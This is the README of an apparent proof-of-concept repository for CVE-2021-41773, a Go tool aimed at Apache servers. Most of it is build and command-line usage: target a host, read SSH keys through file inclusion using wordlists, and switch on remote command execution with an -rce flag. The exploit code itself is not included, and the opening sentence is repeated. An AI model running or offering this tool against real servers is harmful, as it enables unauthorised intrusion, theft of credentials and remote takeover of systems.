
This repository contains a Proof-of-Concept for the CVE-2021-41773. This CVE contains a LFI and RCE vulnerablity.
This repository contains a Proof-of-Concept (PoC) for CVE-2021-41773. This CVE exposes a Local File Inclusion (LFI) and Remote Code Execution (RCE) vulnerability.
Ensure you have Go version 1.23.0 installed.
Build the exploit binary with the following command:
go build -o exploit
Specify the target IP: Use the -i flag to specify the target IP address (include the port). This is required.
./exploit -i 10.0.0.1:8080
Specify the SSH wordlist size: Use the -l flag to choose the size of the SSH wordlist.
Options:
0: Small (default)1: Medium2: Large./exploit -i 10.0.0.1:8080 -l 1
Enable HTTPS: Use the -ssl flag to enable HTTPS (default is HTTP). This flag is optional.
./exploit -i 10.0.0.1:8080 -ssl
Specify a custom SSH key wordlist: Use the -k flag to provide a custom wordlist for SSH keys. This flag is optional.
./exploit -i 10.0.0.1:8080 -k /usr/share/wordlist/SecLists/Discovery/Web-Content/quickhits.txt
Enable Remote Code Execution (RCE): Use the -rce flag to execute commands remotely. This flag is optional.
./exploit -i 10.0.0.1:8080 -rce
I wanted to write something in Golang and learn the language.
This is the first complete program I have written in Golang.